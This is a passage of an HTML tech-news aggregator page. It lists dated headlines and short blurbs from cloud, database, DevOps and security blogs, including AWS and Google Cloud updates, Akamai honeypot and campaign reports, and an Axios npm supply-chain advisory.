              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how ScyllaDB Vector Quantization shrinks your vector index memory by up to 30x for cost-efficient, real-time AI applications</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/22/scylladb-vector-quantization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-retail-at-scale-exposes-data-architecture-limitations" class="group relative scroll-mt-24">
        <a href="#h3-how-retail-at-scale-exposes-data-architecture-limitations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Retail at Scale Exposes Data Architecture Limitations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-retail-at-scale-exposes-data-architecture-limitations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Retail and e-commerce platforms are among the most demanding distributed systems in production. Learn why traditional retail and e-commerce database architecture fails at scale and how a distributed d</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/retail-at-scale-exposes-data-architecture-limitations/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel" class="group relative scroll-mt-24">
        <a href="#h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Transform custom: Enterprise Code Modernization with the Learn-Scale-Improve Flywheel
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Enterprise modernization has reached an inflection point. You can transform one repository easily. Existing tools, including AWS Transform custom, work well for individual repositories, and the proces</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/aws-transform-custom-enterprise-code-modernization-with-the-learn-scale-improve-flywheel/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind" class="group relative scroll-mt-24">
        <a href="#h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The one Slack message that proved our elite engineering team was flying blind
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-one-slack-message-that-proved-our-elite-engineering-team-was-flying-blind"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Someone posted a question in Slack that seemed straightforward: What are we actually running across both cloud environments? Not what The post The one Slack message that proved our elite engineering t</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/multi-cloud-blind-spots/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions" class="group relative scroll-mt-24">
        <a href="#h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Lambda Provisioned Mode for Kafka event source mappings (ESMs) now available in AWS Asia Pacific (Taipei) and AWS GovCloud (US) Regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-lambda-provisioned-mode-for-kafka-event-source-mappings-esms-now-available-in-aws-asia-pacific-taipei-and-aws-govcloud-us-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Lambda now supports Provisioned Mode for event source mappings (ESMs) that subscribe to Apache Kafka event sources in the Asia Pacific (Taipei), AWS GovCloud (US-East), and AWS GovCloud (US-West) </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/aws-Lambda-provisioned-esm-region-expansion/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence" class="group relative scroll-mt-24">
        <a href="#h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Quick now integrates with Visier’s Vee agent for workforce intelligence
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-quick-now-integrates-with-visiers-vee-agent-for-workforce-intelligence"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Quick now integrates with Vee, the AI assistant from Visier&#39;s people analytics platform, through the model context protocol (MCP). HR business partners, finance managers, and operations leaders</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-quick-visier-vee/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore Gateway and Identity support VPC egress
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-gateway-and-identity-support-vpc-egress"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore Gateway and Identity now provide secure and controlled egress traffic management for your applications, enabling seamless communication with resources in your Virtual Private </p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2024/04/agentcore-gateway-identity-vpc/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-260-things-we-announced-at-google-cloud-next-26-a-recap" class="group relative scroll-mt-24">
        <a href="#h3-260-things-we-announced-at-google-cloud-next-26-a-recap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 260 things we announced at Google Cloud Next '26 – a recap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-260-things-we-announced-at-google-cloud-next-26-a-recap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Google Cloud Next ‘26 took place this week in Las Vegas, and the energy was incredible as we welcomed over 32,000 leaders, developers, and partners to explore the Agentic Era with us. Across three key</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/google-cloud-next/google-cloud-next-2026-wrap-up/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon EC2 High Memory U7i instances now available in additional regions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-ec2-high-memory-u7i-instances-now-available-in-additional-regions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon EC2 High Memory U7i-8TB instances (u7i-8tb.112xlarge) are now available in AWS Europe (Stockholm, Zurich) regions, U7in-16TB instances (u7in-16tb.224xlarge) are now available in the AWS US East</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-ec2-high-memory-u7i/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers" class="group relative scroll-mt-24">
        <a href="#h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Axios npm Supply Chain Compromise – Guidance for Azure Pipelines Customers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 31, 2026, malicious versions of the widely used JavaScript HTTP client library Axios were briefly published to the npm registry as part of a supply chain attack. The affected versions — 1.14.</p>
<p><strong>📅 Apr 24, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/axios-npm-supply-chain-compromise-guidance-for-azure-pipelines-customers/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1118" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1118" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.118
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1118"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.118 (Insiders) Read the full article</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_118"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-understanding-disaggregated-genai-model-serving-with-llm-d" class="group relative scroll-mt-24">
        <a href="#h3-understanding-disaggregated-genai-model-serving-with-llm-d" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Understanding disaggregated GenAI model serving with llm-d
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-understanding-disaggregated-genai-model-serving-with-llm-d"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What is llm-d? llm-d is an open source solution for managing high-scale, high-performance Large Language Model (LLM) deployments. LLMs are at the heart of generative AI – so when you chat with ChatGPT</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/understanding-disaggregated-genai-model-serving-with-llm-d"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about" class="group relative scroll-mt-24">
        <a href="#h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microsoft Foundry Tackles the AI Agent Tool Problem Nobody Talks About
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Tool sprawl is quietly becoming one of the biggest headaches in enterprise AI development. Microsoft thinks it has a fix.</p>
<p><strong>📅 Apr 27, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/microsoft-foundry-tackles-the-ai-agent-tool-problem-nobody-talks-about/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-disappearing-ai-middle-class" class="group relative scroll-mt-24">
        <a href="#h3-the-disappearing-ai-middle-class" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The disappearing AI middle class
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-disappearing-ai-middle-class"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In 24 hours last week, OpenAI and DeepSeek made opposite bets on what frontier AI is worth. One says it The post The disappearing AI middle class appeared first on The New Stack.</p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/disappearing-ai-middle-class/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond prompting: How KubeStellar reached 81% PR acceptance with AI agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-prompting-how-kubestellar-reached-81-pr-acceptance-with-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The surprise in building KubeStellar Console with coding agents was not the extent of the model’s capabilities, but the heavy The post Beyond prompting: How KubeStellar reached 81% PR acceptance with </p>
<p><strong>📅 Apr 26, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-codebase-maturity-model/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-find-and-unlock-the-data-hidden-within-videos" class="group relative scroll-mt-24">
        <a href="#h3-how-to-find-and-unlock-the-data-hidden-within-videos" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to find and unlock the data hidden within videos
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
